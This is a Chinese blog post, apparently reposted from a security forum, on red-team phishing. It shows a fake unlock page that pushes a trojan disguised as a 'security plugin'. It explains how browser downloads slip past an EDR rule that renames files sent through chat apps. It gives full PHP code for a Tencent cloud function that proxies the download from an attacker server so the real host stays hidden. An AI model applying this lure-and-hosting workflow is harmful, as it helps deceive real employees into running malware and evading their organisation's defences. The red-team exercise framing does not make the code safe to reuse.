红蓝对抗中关于钓鱼场景的一些新探索
2023-5-4 16:29:0 Author: xz.aliyun.com(查看原文) 阅读量:55 收藏

前言

随着红蓝对抗演习的普及化,外网边界越来越坚固。所以近几年红蓝对抗演习中,网络钓鱼成为突破网络边界的一把利刃。但随着人员的安全意识也越来越高,钓鱼难度也越来越大。所以本文旨在探讨利用云函数等方法降低企业人员防范意识,实现钓鱼上线。

传统聊天工具钓鱼

当我们利用互联网收集到相关人员联系方式,通过传统聊天的方式投递恶意木马时,即使通过话术忽悠相关人员下载压缩包,但是企业DER可能会配置相关规则,只要从社交聊天软件下载的压缩包中存在.exe后缀文件,会直接修改文件后缀,导致无法上线。结果如下图:

制作钓鱼页面

传统钓鱼方式无法上线,那么该如何突破EDR的这个规则呢?既然聊天软件下载行不通,那么如果让受害者通过浏览器下载压缩包并解压点击上线呢?这样EDR还会修改后缀吗?带着这些疑问,我们开始尝试。

这里先说一下大体思路:制作钓鱼页面=>受害者浏览=>弹框下载插件(恶意木马)=>受害者点击运行(上线)

首先第一步,制作钓鱼页面,制作一个精美的Web页面,降低受害者防范意识,这里制作的页面如下:

当输入密码点击解锁,会弹框,让受害者下载安全插件如下:


安全插件就是制作好的恶意木马如下:

云函数隐藏真实下载链接

流程可以跑通了,那么我们该如何隐藏真实的下载地址并增加受害者信任呢?这里我们可以借助腾讯云函数,具体操作如下:

  • 新建云函数,搜索并选择模板【API 网关返回 Web 页面】,编程语言选择【PHP】,然后下一步,其他参数全部默认,点击完成。
  • 触发管理 > API网关触发 > 管理API > 默认访问地址 > 访问路径:/,下一步或立即完成,然后发布服务。
  • 函数管理 > 函数配置 > 环境配置 > 执行超时时间,默认 3 秒,改为 180 秒或更大。
  • 函数代码,将 php 代码(注意修改其中下载地址)复制粘贴进去,保存部署即可。
    具体的函数的PHP代码如下:
<?php
function http_header_to_arr($header_list){
    $header_arr = [];
    foreach ($header_list as $key => $value){
        if(strpos($value, ':') === false){
            continue;
        }
        list($header_key, $header_value) = explode(":", $value, 2);
        $header_arr[$header_key] = trim($header_value);
    }
    if(isset($header_arr['Content-MD5'])){
        $header_arr['md5'] = bin2hex(base64_decode($header_arr['Content-MD5']));
    }
    return $header_arr;
}

function main_handler($event, $context) {
    // 检查变量
    // json_encode($event)
    if ( !isset($event->path) || !isset($event->headers) ) {
        return array(
            'isBase64Encoded' => false,
            'statusCode' => 500,
            'headers' => array('Content-Type' => 'text/html; charset=utf-8'),
            'body' => '!isset($event->path) || !isset($event->headers)'
        );
    }
    // ----------
    // 获取远程页面内容及返回的 HTTP 头信息
    // 可以用子目录 /test,但是末尾不能有斜杠,会拼接成双斜杠 //,形成错误的路径,造成通讯失败!
    // $url变量内容为真实下载地址路径
    $url = 'http://x.x.x.x:8888/test' . $event->path;
    $option = array('http' => array('header' => $event->headers));
    $rbody = file_get_contents($url, false, stream_context_create($option));
    $rheaders = $http_response_header;
    if (preg_match('/(\d{3})/', $rheaders[0], $matches)) {
        $rcode = intval($matches[0]);
    } else {
        $rcode = 200;
    }
    // ----------
    // 输出页面内容
    return array(
        'isBase64Encoded' => true,
        'statusCode' => $rcode,
        'headers' => http_header_to_arr($rheaders), //array('Content-Type' => 'text/html; charset=utf-8')
        'body' => base64_encode($rbody)
    );
}
?>

钓鱼上线

添加受害人联系方式,构造相关话术,向其发送由腾讯云函数伪装后的下载链接如下:

受害者访问了链接,并下载运行了恶意木马如下:

受害者成功上线如下图:

小结

本文对红蓝对抗中钓鱼场景进行了一些新探索,提供了一点新技巧,大佬勿喷。


文章来源: https://xz.aliyun.com/t/12502
如有侵权请联系:admin#unsafe.sh